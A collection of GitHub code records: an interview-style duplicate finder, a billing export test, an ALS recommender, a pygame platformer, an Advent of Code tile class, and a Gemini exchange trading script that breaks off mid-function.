+{"seq_id":"30316913964","text":"# Find a duplicate, Space Edition™ BEAST MODE\n\n'''\nFind the duplicate in list of integers with:\n1. the integers are in the range 1..n\n2. the list has a length of n+1\n\nDo this in O(N) time and O(1) space\n'''\n\n'''\nImagine each item in the list as a node in a linked list. In any linked list, ↴ each node has a value and a \"next\" pointer. In this case:\n\nThe value is the integer from the list.\nThe \"next\" pointer points to the value-eth node in the list (numbered starting from 1). For example, if our value was 3, the \"next\" node would be the third node.\n'''\n\n'''\nIf two nodes have the same value, their next pointers will point to the same node!\n'''\n\n'''\nthe last node never has any incoming pointers since list has a length n + 1 \nand all the values are nn or less, \nthere can never be a pointer to the last position \n(can treat the last position as the head of the linked list)\n\nthere’s never an end to our list since no pointer points to None (must have a loop)\n'''\n\n'''\nThe first node in the cycle always has at least two incoming pointers!\nThe pattern is a few nodes then a cycle since it has no None end\n'''\n\n'''\nWe know the position of a node with multiple incoming pointers is a duplicate in our list because the nodes that pointed to it must have the same value.\nWe find a node with multiple incoming pointers by finding the first node in a cycle.\nWe find the first node in a cycle by finding the length of the cycle and advancing two pointers: one starting at the head of the linked list, and the other starting ahead as many steps as there are steps in the cycle. The pointers will meet at the first node in the cycle.\nWe find the length of a cycle by remembering a position inside the cycle and counting the number of steps it takes to get back to that position.\nWe get inside a cycle by starting at the head and walking nn steps. We know the head of the list is at position n + 1n+1\n'''\n\ndef find_duplicate(int_list):\n n = len(int_list) - 1\n\n # STEP 1: GET INSIDE A CYCLE\n # Start at position n+1 and walk n steps to\n # find a position guaranteed to be in a cycle\n position_in_cycle = n + 1\n for _ in range(n):\n position_in_cycle = int_list[position_in_cycle - 1]\n # we subtract 1 from the current position to step ahead:\n # the 2nd *position* in a list is *index* 1\n\n # STEP 2: FIND THE LENGTH OF THE CYCLE\n # Find the length of the cycle by remembering a position in the cycle\n # and counting the steps it takes to get back to that position\n remembered_position_in_cycle = position_in_cycle\n current_position_in_cycle = int_list[position_in_cycle - 1] # 1 step ahead\n cycle_step_count = 1\n\n while current_position_in_cycle != remembered_position_in_cycle:\n current_position_in_cycle = int_list[current_position_in_cycle - 1]\n cycle_step_count += 1\n\n # STEP 3: FIND THE FIRST NODE OF THE CYCLE\n # Start two pointers\n # (1) at position n+1\n # (2) ahead of position n+1 as many steps as the cycle's length\n pointer_start = n + 1\n pointer_ahead = n + 1\n for _ in range(cycle_step_count):\n pointer_ahead = int_list[pointer_ahead - 1]\n\n # Advance until the pointers are in the same position\n # which is the first node in the cycle\n while pointer_start != pointer_ahead:\n pointer_start = int_list[pointer_start - 1]\n pointer_ahead = int_list[pointer_ahead - 1]\n\n # Since there are multiple values pointing to the first node\n # in the cycle, its position is a duplicate in our list\n return pointer_start\n\n# O(n) time and O(1) space\n","repo_name":"dennikey/Interview-Cake","sub_path":"Interview Cake/Unit 5 Trees and graphs/find-repeat,space-edition-beast.py","file_name":"find-repeat,space-edition-beast.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29048734987","text":"# -*- coding: utf-8 -*-\n\nimport pytest\nfrom hamcrest import equal_to\n\nfrom balance import balance_api as api\nfrom balance import balance_db as db\nfrom balance import balance_steps as steps\nfrom btestlib import utils as utils\n\nCUSTOM = {}\n\nCOMMON = {\n 'party_name': ('name',\n 'hz_parties.party_name'),\n\n 'email_contact_point_type': (lambda x: 'EMAIL',\n 'hz_contact_points.e.contact_point_type'),\n\n 'email': ('email',\n 'hz_contact_points.e.email_address'),\n\n 'phone_contact_point_type': (lambda x: 'PHONE',\n 'hz_contact_points.p.contact_point_type'),\n\n 'phone': (lambda x: ''.join([ch for ch in x['phone'] if ch not in '+()-']),\n 'hz_contact_points.p.phone_number'),\n\n 'phone_line_type': (lambda x: 'GEN',\n 'hz_contact_points.p.phone_line_type'),\n\n 'raw_phone_number': ('phone',\n 'hz_contact_points.p.raw_phone_number'),\n\n 'transposed_phone_number': (lambda x: ''.join([ch for ch in x['phone'] if ch not in '+()-'])[::-1],\n 'hz_contact_points.p.transposed_phone_number'),\n\n 'fax_contact_point_type': (lambda x: 'PHONE',\n 'hz_contact_points.f.contact_point_type'),\n\n 'fax': (lambda x: ''.join([ch for ch in x['fax'] if ch not in '+()-']),\n 'hz_contact_points.f.phone_number'),\n\n 'fax_line_type': (lambda x: 'FAX',\n 'hz_contact_points.f.phone_line_type'),\n\n 'raw_fax_number': ('fax',\n 'hz_contact_points.f.raw_phone_number'),\n\n 'transposed_fax_number': (lambda x: ''.join([ch for ch in x['fax'] if ch not in '+()-'])[::-1],\n 'hz_contact_points.f.transposed_phone_number'),\n}\n\nAGENCY = {\n 'type': (lambda x: 'AGENCY',\n 'hz_parties.attribute1'),\n}\n\nCLIENT = {\n 'type': (lambda x: 'CLIENT',\n 'hz_parties.attribute1'),\n}\n\nALL = reduce(lambda x, y: dict(x, **y), [CUSTOM, COMMON, AGENCY, CLIENT], {})\n\n\ndef get_balance_client_data(object_id):\n # t_person\n # person = db.get_person_by_id(object_id)[0]\n query = \"select * from t_client where id = :object_id\"\n result = db.balance().execute(query, {'object_id': object_id})\n client = result[0]\n\n # t_extprops for client\n extprops = db.balance().get_extprops_by_object_id('Client', object_id)\n prefixed_extprops = {'t_client.{0}'.format(key): extprops[key] for key in extprops}\n client.update(prefixed_extprops)\n\n return client\n\n\ndef get_oebs_client_data(object_id):\n client = {}\n\n # hz_parties\n mapping_string = 'C{0}'\n query = \"select * from apps.hz_parties where orig_system_reference = :object_id\"\n result = api.test_balance().ExecuteOEBS(1, query, {'object_id': mapping_string.format(object_id)})\n if result:\n result = result[0]\n client.update({'hz_parties.{0}'.format(key): result[key] for key in result})\n\n # hz_contact_points\n mapping_list = {\n 'e': 'C{0}_E',\n 'p': 'C{0}_P',\n 'f': 'C{0}_F',\n }\n for option in mapping_list:\n # TODO: почему не работает *? not well-formed (invalid token): line 67, column 18\n query = \"select contact_point_type, email_address, phone_number, phone_line_type, raw_phone_number, transposed_phone_number from apps.hz_contact_points where orig_system_reference = :object_id\"\n result = api.test_balance().ExecuteOEBS(1, query, {'object_id': mapping_list[option].format(object_id)})\n if result:\n result = result[0]\n client.update({'hz_contact_points.{0}.{1}'.format(option, key): result[key] for key in result})\n\n return client\n\n\nBALANCE_DATA_PROVIDER = get_balance_client_data\nOEBS_DATA_PROVIDER = get_oebs_client_data\n\n\ndef compare(object_id, attrs=None, excluded_attrs=None):\n balance_object = BALANCE_DATA_PROVIDER(object_id)\n oebs_object = OEBS_DATA_PROVIDER(object_id)\n balance_object = {key.lower(): balance_object[key] for key in balance_object}\n oebs_object = {key.lower(): oebs_object[key] for key in oebs_object}\n balance_values = {}\n oebs_values = {}\n for key, (balance_loc, oebs_loc) in {key: ALL[key] for key in attrs}.items():\n # balance_values[key] = balance_loc(balance_object) if callable(balance_loc) else balance_object[balance_loc]\n if callable(balance_loc):\n try:\n balance_values[key] = balance_loc(balance_object)\n except:\n balance_values[key] = 'no_value'\n else:\n balance_values[key] = balance_object.get(balance_loc, 'no_value')\n # oebs_values[key] = oebs_loc(oebs_object) if callable(oebs_loc) else oebs_object[oebs_loc]\n if callable(oebs_loc):\n try:\n oebs_values[key] = oebs_loc(oebs_object)\n\n except:\n oebs_values[key] = 'no_value'\n else:\n oebs_values[key] = oebs_object.get(oebs_loc, 'no_value')\n utils.check_that(oebs_values, equal_to(balance_values))\n\n\n@pytest.mark.parametrize('type, checks', [\n (1, [COMMON, AGENCY]),\n (0, [COMMON, CLIENT])\n])\ndef test_all_person_types_export(type, checks):\n client_id = None or steps.ClientSteps.create()\n steps.CommonSteps.export('OEBS', 'Client', client_id)\n compare(client_id, reduce(lambda x, y: dict(x, **y), checks, {}).keys())\n\n\nif __name__ == \"__main__\":\n compare\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/scripts/torvald/test_oebs_export_client.py","file_name":"test_oebs_export_client.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72018126481","text":"import numpy as np\n\n\nclass ALS:\n def __init__(self, R, k, r_lambda, confidence, epochs, verbose=False):\n \"\"\"\n :param R: rating matrix\n :param k: latent parameter\n :param r_lambda: alpha on ALS\n :param confidence: confidence on ALS\n :param epochs: training epochs\n :param verbose: print status\n \"\"\"\n self._R = R\n self._num_users, self._num_items = R.shape\n self._k = k\n self._r_lambda = r_lambda\n self._confidence = confidence\n self._epochs = epochs\n self._verbose = verbose\n self._init_vectors()\n\n def _init_vectors(self):\n # init latent features\n self._U = np.random.normal(size=(self._num_users, self._k))\n self._I = np.random.normal(size=(self._num_items, self._k))\n\n # make binary rating matrix P\n self._P = np.copy(self._R)\n self._P[self._P > 0] = 1\n\n # make confidence matrix C\n self._C = 1 + self._confidence * self._R\n\n def fit(self):\n \"\"\"\n fit ALS model\n \"\"\"\n # train while epochs\n self._training_process = []\n for epoch in range(self._epochs):\n self.alternating_least_squares()\n cost = self.cost()\n self._training_process.append((epoch, cost))\n\n # print status\n if self._verbose == True and ((epoch + 1) % 10 == 0):\n print(\"Iteration: %d ; cost = %.4f\" % (epoch + 1, cost))\n\n def cost(self):\n \"\"\"\n compute root mean square error\n :return: rmse cost\n \"\"\"\n r_hat = self.predict()\n confidence_loss = np.sum(np.power(self._C * (self._P - r_hat), 2))\n regularization_term = self._r_lambda * (np.sum(np.power(self._U, 2)) + np.sum(np.power(self._I, 2)))\n return np.sqrt(confidence_loss + regularization_term)\n\n def alternating_least_squares(self):\n \"\"\"\n ALS optimizer\n \"\"\"\n # update_y_u\n for u in range(self._U.shape[0]):\n C_u = np.diag(self._C[u])\n left_equation = self._I.T.dot(C_u).dot(self._I) + np.dot(self._r_lambda, np.identity(self._U.shape[1]))\n right_equation = self._I.T.dot(C_u).dot(self._P[u])\n self._U[u] = np.linalg.inv(left_equation).dot(right_equation)\n\n # update x_i\n for i in range(self._I.shape[0]):\n C_i = np.diag(self._C[:, i])\n left_equation = self._U.T.dot(C_i).dot(self._U) + np.dot(self._r_lambda, np.identity(self._I.shape[1]))\n right_equation = self._U.T.dot(C_i).dot(self._P[:, i])\n self._I[i] = np.linalg.inv(left_equation).dot(right_equation)\n\n def predict(self):\n \"\"\"\n calc complete matrix U X I\n \"\"\"\n return self._U.dot(self._I.T)\n\n def print_results(self):\n \"\"\"\n print fit results\n \"\"\"\n print(\"Final RMSE:\")\n print(self._training_process[self._epochs-1][1])\n print(\"Final R matrix:\")\n for row in self.predict():\n print([\"{0:0.2f}\".format(i) for i in row])\n\n\n# run example\nif __name__ == \"__main__\":\n # rating matrix - User X Item : (7 X 5)\n R = np.array([\n [1, 0, 0, 0, 3],\n [2, 0, 0, 1, 0],\n [0, 2, 0, 5, 0],\n [1, 0, 0, 0, 4],\n [0, 0, 5, 4, 0],\n [0, 1, 0, 4, 0],\n [0, 0, 0, 1, 0],\n ])\n\n # P, Q is (7 X k), (k X 5) matrix\n factorizer = ALS(R, k=8, r_lambda=40, confidence=40, epochs=50, verbose=True)\n factorizer.fit()\n factorizer.print_results()\n","repo_name":"yoonkt200/ml-theory-python","sub_path":"03-linear-algebra/ALS.py","file_name":"ALS.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"4568301211","text":"import pygame \nfrom pygame import *\nimport player\nimport blocks\n\nWinWidth = 1200\nWinHeight = 600\nDISPLAY = (WinWidth, WinHeight)\nBACKGROUND_COLOR = \"#004400\"\nPL_WIDTH = 60 \nPL_HEIGHT = 60\n\nclass Camera(object):\n\t\"\"\"docstring for Camera\"\"\"\n\tdef __init__(self, camera_func , width , height):\n\t\tself.camera_func = camera_func\n\t\tself.state = Rect(0,0,width , height)\n\t\t\n\tdef apply(self , target):\n\t\treturn target.rect.move(self.state.topleft)\n\n\tdef update(self , target):\n\t\tself.state = self.camera_func(self.state , target.rect)\n\ndef camera_configure(camera, target_rect):\n l, t, _, _ = target_rect\n _, _, w, h = camera\n l, t = -l+WinWidth / 2, -t+WinHeight / 2\n\n l = min(0, l) # Не движемся дальше левой границы\n l = max(-(camera.width- WinWidth), l) # Не движемся дальше правой границы\n t = max(-(camera.height- WinHeight), t) # Не движемся дальше нижней границы\n t = min(0, t) # Не движемся дальше верхней границы\n\n return Rect(l, t, w, h)\n\n\n\n\ndef main(): \n\tpygame.init()\n\tscreen = pygame.display.set_mode(DISPLAY)\n\tpygame.display.set_caption(\"PAOWL'S TRIP\")\n\tbg = Surface(DISPLAY)\n\thero = player.Player(75 , 75)\n\tentities = pygame.sprite.Group()\n\tplatforms = []\n\tlevel = [\n \"----------------------------------\",\n \"- -\",\n \"- -- -\",\n \"- -\",\n \"- -- -\",\n \"- -\",\n \"-- -\",\n \"- -\",\n \"- ---- --- -\",\n \"- -\",\n \"-- -\",\n \"- -\",\n \"- --- -\",\n \"- -\",\n \"- -\",\n \"- --- -\",\n \"- -\",\n \"- ------- ---- -\",\n \"- -\",\n \"- - -\",\n \"- -- -\",\n \"- -\",\n \"- -\",\n \"----------------------------------\"] \n\t\n\ttimer = pygame.time.Clock()\n\tbcgd_im = pygame.image.load(\"bg.png\")\n\tbcgd_im_2 = pygame.image.load(\"bg2.png\")\n\tx = y = 0\n\tfor row in level:\n\t\tfor col in row:\n\t\t\tif col == \"-\":\n\t\t\t\tpl = blocks.Platform(x, y, 0)\n\t\t\t\tentities.add(pl)\n\t\t\t\tplatforms.append(pl)\n\t\t\t\t#bg.blit(bcgd_im_2 , (x , y))\n\t\t\telse:\n\t\t\t\tpl = blocks.Platform(x, y , 1)\n\t\t\t\tentities.add(pl)\n\t\t\t\t#bg.blit(bcgd_im_2 , (x , y))\n\t\t\tx += PL_WIDTH\n\t\ty += PL_HEIGHT\n\t\tx = 0\n\n\tentities.add(hero)\n\ttotal_level_width = len(level[0])*PL_WIDTH # Высчитываем фактическую ширину уровня\n\ttotal_level_height = len(level)*PL_HEIGHT # высоту\n\n\tcamera = Camera(camera_configure, total_level_width, total_level_height)\n\n\trun = True\n\tleft = right = up = down = False\n\twhile run:\n\t\ttimer.tick(60)\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trun = False\n\t\t\tif event.type == KEYDOWN and event.key == K_LEFT:\n\t\t\t\tleft = True\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_RIGHT:\n\t\t\t\tright = True\n\t\t\t\tleft = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_RIGHT:\n\t\t\t\tright = False\n\t\t\t\tleft = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_LEFT:\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_UP:\n\t\t\t\tup = True\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYUP and event.key == K_UP:\n\t\t\t\tup = False\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tdown = False\n\t\t\tif event.type == KEYDOWN and event.key == K_DOWN:\n\t\t\t\tdown = True\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\tif event.type == KEYUP and event.key == K_DOWN:\n\t\t\t\tdown = False\t\n\t\t\t\tleft = False\n\t\t\t\tright = False\n\t\t\t\tup = False\n\t\t\t\t\t\n\n\t\t#screen.blit(bg,camera.apply(blocks.Platform(0,0)))###########################################\n\t\t#entities.draw(screen)\n\t\tfor event in entities:\n\t\t\tscreen.blit(event.image, camera.apply(event))\n\t\t#hero.draw(screen)\n\t\tcamera.update(hero)\n\t\thero.update(left , right , up, down, platforms)\n\n\t\tpygame.display.update()\n\nif __name__ == \"__main__\":\n\tmain()\t\t","repo_name":"Soyuz-Apollo/game_for_fun","sub_path":"mainG.py","file_name":"mainG.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4274722608","text":"normalise_edge = lambda edge: min(edge, \"\".join(reversed(edge)))\r\n\r\n\r\nclass Tile:\r\n\r\n\tdef __init__(self, tile, tile_number):\r\n\t\tself.tile_number = tile_number\r\n\t\tself.set_orientation(tile)\r\n\r\n\tdef set_orientation(self, tile):\r\n\t\tself.tile = tile\r\n\r\n\t\tself.top_edge = self.tile[0]\r\n\t\tself.bottom_edge = self.tile[9]\r\n\t\tself.left_edge = \"\".join([x[0] for x in self.tile])\r\n\t\tself.right_edge = \"\".join([x[9] for x in self.tile])\r\n\r\n\t\tself.edges = [self.top_edge, self.bottom_edge, self.left_edge, self.right_edge]\r\n\t\tself.normalised_edges = list(map(normalise_edge, self.edges))\r\n\r\n\tdef borderless(self):\r\n\t\treturn [row[1:len(row) - 1] for row in (self.tile[1:len(self.tile) - 1])]\r\n","repo_name":"waiwaing/advent-of-code-2020","sub_path":"20/Tile.py","file_name":"Tile.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18458705409","text":"#!/bin/python3\n\nSANDBOX = True\nif SANDBOX:\n OUTF = \"sandbox-trade-data.log\"\nelse:\n OUTF = \"trade-data.log\"\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport math\nimport os.path\nimport requests\nimport sys\n\nfrom decimal import *\nfrom enum import Enum, unique\nfrom datetime import datetime, timezone, timedelta\nfrom pprint import pp\nfrom collections import OrderedDict\nfrom itertools import accumulate\n\n\f\n# see https://www.gemini.com/fees/api-fee-schedule#section-api-fee-schedule\nUSD_PER_YEAR = 100_000\nUSD_PER_DAY = round(USD_PER_YEAR / 365, 2)\nALLOWED_DEV_MKT = 1 / 500 # i.e. will pay up to 1/500th USD more than market price\n\nEPOCH = datetime(1970, 1, 1, tzinfo=timezone.utc)\n\nif SANDBOX:\n KEY = \"account-XXXXXXXXXXXXXXXXXXXX\"\n SECRET = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\".encode()\nelse:\n KEY = open(\"/hdd-mirror0/E/gemini-api-key\").readline()\n SECRET = open(\"/hdd-mirror0/E/gemini-api-secret\").readline().encode()\n\n# api routes\nVERSION = \"v1\"\nBASEURL = \"https://api.gemini.com\"\nSANDBOX_BASEURL = \"https://api.sandbox.gemini.com\"\n\nclass Url:\n def __init__(self, suffix, sandbox=SANDBOX):\n \"\"\"Suffix should neither begin nor end with \\ \"\"\"\n if sandbox:\n self.pfix = SANDBOX_BASEURL\n else:\n self.pfix = BASEURL\n self.v = VERSION\n self.sfix = suffix\n\n def full(self):\n return f\"{self.pfix}/{self.v}/{self.sfix}\"\n\n def payload_request(self):\n \"\"\"route used in a payload's REQUEST param\"\"\"\n return f\"/{self.v}/{self.sfix}\"\n\nGET_PAIR_DATA_URL = Url(\"symbols/details\")\nPRICE_FEED_URL = Url(\"pricefeed\")\nNEW_ORDER_URL = Url(\"order/new\")\nORDER_STATUS_URL = Url(\"order/status\")\nNOTIONAL_VOL_URL = Url(\"notionalvolume\")\nMYTRADES_URL = Url(\"mytrades\")\n\n#### ===========================================================================\n#### Trade pair info\n# TODO in another file. Maybe a config file\n\n@unique\nclass Pair(Enum):\n # 1INCHUSD = 0 # python likes vars to be named with non-number first :(\n AAVEUSD = 1\n ALCXUSD = 2\n AMPUSD = 3\n ANKRUSD = 4\n AXSUSD = 5\n BALUSD = 6\n BATUSD = 7\n BCHUSD = 8\n BNTUSD = 9\n BONDUSD = 10\n BTCGUSD = 11\n BTCUSD = 12\n COMPUSD = 13\n CRVUSD = 14\n CTXUSD = 15\n CUBEUSD = 16\n DAIUSD = 17\n DOGEUSD = 18\n ENJUSD = 19\n ETHGUSD = 20\n ETHUSD = 21\n FILUSD = 22\n FTMUSD = 23\n GRTUSD = 24\n INJUSD = 25\n KNCUSD = 26\n LINKUSD = 27\n LPTUSD = 28\n LRCUSD = 29\n LTCUSD = 30\n LUNAUSD = 31\n MANAUSD = 32\n MATICUSD = 33\n MCO2USD = 34\n MIRUSD = 35\n MKRUSD = 36\n OXTUSD = 37\n PAXGUSD = 38\n RENUSD = 39\n SANDUSD = 40\n SKLUSD = 41\n SLPUSD = 42\n SNXUSD = 43\n STORJUSD = 44\n SUSHIUSD = 45\n UMAUSD = 46\n UNIUSD = 47\n USTUSD = 48\n XTZUSD = 49\n YFIUSD = 50\n ZECUSD = 51\n ZRXUSD = 52\n\n# see documentation for pair tick sizes\nTICKSIZES = {\n # Pair.1INCHUSD.name: 1e-6,\n Pair.AAVEUSD.name: 1e-6,\n Pair.ALCXUSD.name: 1e-6,\n Pair.AMPUSD.name: 1e-6,\n Pair.ANKRUSD.name: 1e-6,\n Pair.AXSUSD.name: 1e-6,\n Pair.BALUSD.name: 1e-6,\n Pair.BATUSD.name: 1e-6,\n Pair.BCHUSD.name: 1e-6,\n Pair.BNTUSD.name: 1e-6,\n Pair.BONDUSD.name: 1e-6,\n Pair.BTCGUSD.name: 1e-8,\n Pair.BTCUSD.name: 1e-8,\n Pair.COMPUSD.name: 1e-6,\n Pair.CRVUSD.name: 1e-6,\n Pair.CTXUSD.name: 1e-6,\n Pair.CUBEUSD.name: 1e-6,\n Pair.DAIUSD.name: 1e-6,\n Pair.DOGEUSD.name: 1e-6,\n Pair.ENJUSD.name: 1e-6,\n Pair.ETHGUSD.name: 1e-6,\n Pair.ETHUSD.name: 1e-6,\n Pair.FILUSD.name: 1e-6,\n Pair.FTMUSD.name: 1e-6,\n Pair.GRTUSD.name: 1e-6,\n Pair.INJUSD.name: 1e-6,\n Pair.KNCUSD.name: 1e-6,\n Pair.LINKUSD.name: 1e-6,\n Pair.LPTUSD.name: 1e-6,\n Pair.LRCUSD.name: 1e-6,\n Pair.LTCUSD.name: 1e-5,\n Pair.LUNAUSD.name: 1e-6,\n Pair.MANAUSD.name: 1e-6,\n Pair.MATICUSD.name: 1e-6,\n Pair.MCO2USD.name: 1e-6,\n Pair.MIRUSD.name: 1e-6,\n Pair.MKRUSD.name: 1e-6,\n Pair.OXTUSD.name: 1e-6,\n Pair.PAXGUSD.name: 1e-8,\n Pair.RENUSD.name: 1e-6,\n Pair.SANDUSD.name: 1e-6,\n Pair.SKLUSD.name: 1e-6,\n Pair.SLPUSD.name: 1e-6,\n Pair.SNXUSD.name: 1e-6,\n Pair.STORJUSD.name: 1e-6,\n Pair.SUSHIUSD.name: 1e-6,\n Pair.UMAUSD.name: 1e-6,\n Pair.UNIUSD.name: 1e-6,\n Pair.USTUSD.name: 1e-6,\n Pair.XTZUSD.name: 1e-6,\n Pair.YFIUSD.name: 1e-6,\n Pair.ZECUSD.name: 1e-6,\n Pair.ZRXUSD.name: 1e-6,\n}\n\nMINSIZES = {\n # Pair.1INCHUSD.name: 1e-2,\n Pair.AAVEUSD.name: 1e-3,\n Pair.ALCXUSD.name: 1e-5,\n Pair.AMPUSD.name: 1e1,\n Pair.ANKRUSD.name: 1e-1,\n Pair.AXSUSD.name: 3e-3,\n Pair.BALUSD.name: 1e-2,\n Pair.BATUSD.name: 1e0,\n Pair.BCHUSD.name: 1e-3,\n Pair.BNTUSD.name: 1e-2,\n Pair.BONDUSD.name: 1e-3,\n Pair.BTCGUSD.name: 1e-5,\n Pair.BTCUSD.name: 1e-5,\n Pair.COMPUSD.name: 1e-3,\n Pair.CRVUSD.name: 1e-1,\n Pair.CTXUSD.name: 2e-3,\n Pair.CUBEUSD.name: 1e-2,\n Pair.DAIUSD.name: 1e-1,\n Pair.DOGEUSD.name: 1e-1,\n Pair.ENJUSD.name: 1e-1,\n Pair.ETHGUSD.name: 1e-3,\n Pair.ETHUSD.name: 1e-3,\n Pair.FILUSD.name: 1e-1,\n Pair.FTMUSD.name: 3e-2,\n Pair.GRTUSD.name: 1e-1,\n Pair.INJUSD.name: 1e-2,\n Pair.KNCUSD.name: 1e-1,\n Pair.LINKUSD.name: 1e-1,\n Pair.LPTUSD.name: 1e-3,\n Pair.LRCUSD.name: 1e-1,\n Pair.LTCUSD.name: 1e-2,\n Pair.LUNAUSD.name: 5e-3,\n Pair.MANAUSD.name: 1e0,\n Pair.MATICUSD.name: 1e-1,\n Pair.MCO2USD.name: 2e-2,\n Pair.MIRUSD.name: 1e-3,\n Pair.MKRUSD.name: 1e-3,\n Pair.OXTUSD.name: 1e0,\n Pair.PAXGUSD.name: 1e-4,\n Pair.RENUSD.name: 1e-2,\n Pair.SANDUSD.name: 1e-1,\n Pair.SKLUSD.name: 1e-1,\n Pair.SLPUSD.name: 5e-1,\n Pair.SNXUSD.name: 1e-2,\n Pair.STORJUSD.name: 1e-1,\n Pair.SUSHIUSD.name: 1e-2,\n Pair.UMAUSD.name: 1e-2,\n Pair.UNIUSD.name: 1e-2,\n Pair.USTUSD.name: 1e-1,\n Pair.XTZUSD.name: 2e-2,\n Pair.YFIUSD.name: 1e-5,\n Pair.ZECUSD.name: 1e-3,\n Pair.ZRXUSD.name: 1e-1,\n}\n\n\n\f\n#### ===========================================================================\n#### util funcs\ndef y_or_n_p(prompt) -> bool:\n \"\"\"True if user inputs y or yes (case-insensitive). False otherwise\"\"\"\n x = input(f\"{prompt}\\ny or n: \")\n return x.upper() == \"Y\" or x.upper() == \"YES\"\n\ndef get_time_ms() -> int:\n \"\"\"Used as a nonce\"\"\"\n now = datetime.now(timezone.utc)\n ptime_ms = (now - EPOCH) // timedelta(microseconds=1)\n return ptime_ms // 1000\n\ndef round_pair(pair: Pair, amt: float) -> float:\n \"\"\"Round the given pair to its most precise purchasable amount\"\"\"\n def ticksize_to_nth(ticksize: float) -> float:\n return math.floor(math.log10(1 / ticksize))\n return round(amt, ticksize_to_nth(TICKSIZES[pair.name]))\n\ndef priv_api_headers(payload: str, sig: str, api_key: str) -> dict:\n return {\n \"Content-Type\" : \"text/plain\",\n \"Content-Length\" : \"0\",\n \"X-GEMINI-APIKEY\" : api_key,\n \"X-GEMINI-PAYLOAD\" : payload,\n \"X-GEMINI-SIGNATURE\" : sig,\n \"Cache-Control\" : \"no-cache\",\n }\n\ndef bpstof(bps) -> float:\n \"\"\"Convert basis point to float\"\"\"\n return 0.0001 * bps\n\ndef encrypt(payload):\n return base64.b64encode(json.dumps(payload).encode())\n\ndef sign(enc_payload):\n return hmac.new(SECRET, enc_payload, hashlib.sha384).hexdigest()\n\n\n\f\n#### ===========================================================================\n#### api calling funcs\ndef get_info(pair: Pair) -> dict:\n url = f\"{GET_PAIR_DATA_URL.full()}/{pair.name}\"\n resp = requests.get(url)\n return resp.json()\n\ndef get_price(pair: Pair) -> float:\n url = f\"{PRICE_FEED_URL.full()}\"\n resp = requests.get(url)\n price_objects = resp.json()\n for o in price_objects:\n if o[\"pair\"] == pair.name:\n return float(o[\"price\"])\n\n# new order api: https://docs.gemini.com/rest-api/?python#new-order\ndef buy(pair: Pair, amt_usd: float, options: list) -> dict:\n \"\"\"purchase amount of PAIR eq to AMT_USD. Returns dict returned by api\"\"\"\n fee = bpstof(get_fee_and_vol()[\"api_taker_fee_bps\"])\n if not SANDBOX:\n typical = 0.0035\n assert fee == typical, f\"fee has deviated from what is typical ({typical}). Do something.\"\n\n url = NEW_ORDER_URL\n purchase_amt = round_pair(pair, amt_usd / get_price(pair))\n min_order_size = float(get_info(pair)[\"min_order_size\"])\n assert min_order_size <= purchase_amt, f\"Purchase amount {purchase_amt} {pair.name} is insufficient. {min_order_size} is lowest purchasable amount.\"\n curr_price = get_price(pair)\n price_with_dev = round(curr_price + (curr_price * ALLOWED_DEV_MKT), 2)\n est_cost = round(curr_price * purchase_amt, 2)\n est_cost_max_dev = round(purchase_amt * price_with_dev, 2)\n\n payload = {\n \"request\" : url.payload_request(),\n \"nonce\" : str(get_time_ms()),\n \"symbol\" : pair.name,\n \"amount\" : str(purchase_amt),\n \"price\" : str(price_with_dev),\n \"side\" : \"buy\",\n \"type\" : \"exchange limit\",\n \"options\" : options,\n }\n enc_payload = encrypt(payload)\n sig = sign(enc_payload)\n headers = priv_api_headers(enc_payload, sig, KEY)\n\n if y_or_n_p(f\"\"\"\nQuoted market price : {curr_price:,.2f} USD / {pair.name}\nAllowed deviation : +{round(price_with_dev - curr_price, 2):,.2f} USD / {pair.name}\nFee : {fee}\n w/out fee\\twith fee\nEstimated total cost : {est_cost:,.2f} USD\\t{round(est_cost * (1 + fee), 2):,.2f} USD\nTotal Cost assm. max dev : {est_cost_max_dev:,.2f} USD\\t{round(est_cost_max_dev * (1 + fee), 2):,.2f} USD\n===\nLimit buy {purchase_amt} {pair.name} @ {price_with_dev:,.2f} USD?\"\"\"):\n return requests.post(url.full(), data=None, headers=headers).json()\n\n\ndef get_order_status(id: int) -> dict:\n url = ORDER_STATUS_URL\n payload = {\n \"request\" : url.payload_request(),\n \"nonce\" : str(get_time_ms()),\n \"order_id\" : id,\n }\n enc_payload = encrypt(payload)\n sig = sign(enc_payload)\n headers = priv_api_headers(enc_payload, sig, KEY)\n return requests.post(url.full(), data=None, headers=headers).json()\n\ndef get_fee_and_vol() -> dict:\n url = NOTIONAL_VOL_URL\n payload = {\n \"nonce\" : str(get_time_ms()),\n \"request\": url.payload_request(),\n }\n enc_payload = encrypt(payload)\n sig = sign(enc_payload)\n headers = priv_api_headers(enc_payload, sig, KEY)\n return requests.post(url.full(), data=None, headers=headers).json()\n\ndef get_past_trades_after_timestamp(pair: Pair, ts: str) -> list:\n url = MYTRADES_URL\n payload = {\n 